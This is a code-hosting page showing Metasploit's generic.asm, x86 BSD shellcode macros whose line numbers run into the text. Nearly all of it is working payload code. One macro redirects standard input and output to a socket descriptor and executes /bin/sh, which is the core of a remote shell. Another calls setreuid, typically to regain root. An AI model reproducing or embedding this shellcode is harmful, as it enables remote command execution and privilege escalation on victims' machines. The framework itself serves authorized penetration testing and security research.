Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/bsd/ia32/generic.asm
Views: 11784
;;1;2; Name: generic3; Type: Macro Set4; Qualities: None5; Authors: skape <mmiller [at] hick.org>6; Version: $Revision: 1628 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; This file provides a generic API of macros that can be used16; by payloads. No payloads are actually implemented within this17; file.18;19; Macro List:20;21; execve_binsh - Executes a command shell with flags22; setreuid - Set real/effective user id23;;24BITS 322526;;27; Define undefined assumptions28;;29%ifndef ASSUME_REG_EDX30%define ASSUME_REG_EDX -131%endif32%ifndef ASSUME_REG_EAX33%define ASSUME_REG_EAX -134%endif3536;;37; Macro: execve_binsh38; Purpose: Execute a command shell with various options39; Arguments:40;41; Execution flags: Flags used for executing the command shell in a42; number of modes.43;44; EXECUTE_REDIRECT_IO => Redirects stdin/stdout/stderr to the fd45; passed in 'edi'.46;;47%define EXECUTE_REDIRECT_IO 0x00014849%macro execve_binsh 15051%if %1 & EXECUTE_REDIRECT_IO5253dup:54%if ASSUME_REG_EDX != 255push byte 0x256pop ecx57%endif58dup_loop:59%if ASSUME_REG_EAX == 060mov al, 0x5a61%else62push byte 0x5a63pop eax64%endif65%if ASSUME_REG_EDX == 266push edx67%else68push ecx69%endif70%ifdef FD_REG_EBX71push ebx72%else73push edi74%endif75%if ASSUME_REG_EDX == 276push edx77%else78push ecx79%endif80int 0x8081%if ASSUME_REG_EDX == 282dec edx83%else84dec ecx85%endif86jns dup_loop8788%undef ASSUME_REG_EAX89%define ASSUME_REG_EAX 09091%endif9293execve:94%if ASSUME_REG_EAX == 095push eax96%else97push byte 0x3b98pop eax99cdq100push edx101%endif102push dword 0x68732f2f103push dword 0x6e69622f104mov ebx, esp105%if ASSUME_REG_EAX == 0106push eax107%else108push edx109%endif110push esp111push ebx112push ebx113%if ASSUME_REG_EAX == 0114mov al, 0x3b115%endif116int 0x80117118%endmacro119120;;121; Macro: setreuid122; Purpose: Set effective user id123; Arguments:124;125; User ID: The user identifier to setreuid to, typically 0.126;;127128%macro setreuid 1129130setreuid:131132%if %1 == 0133134xor eax, eax135136%else137138%if %1 < 256139140push byte %1141142%else143144push dword %1145146%endif147148pop eax149150%endif151152push eax153push eax154mov al, 0x7e155push eax156int 0x80157158%endmacro159160161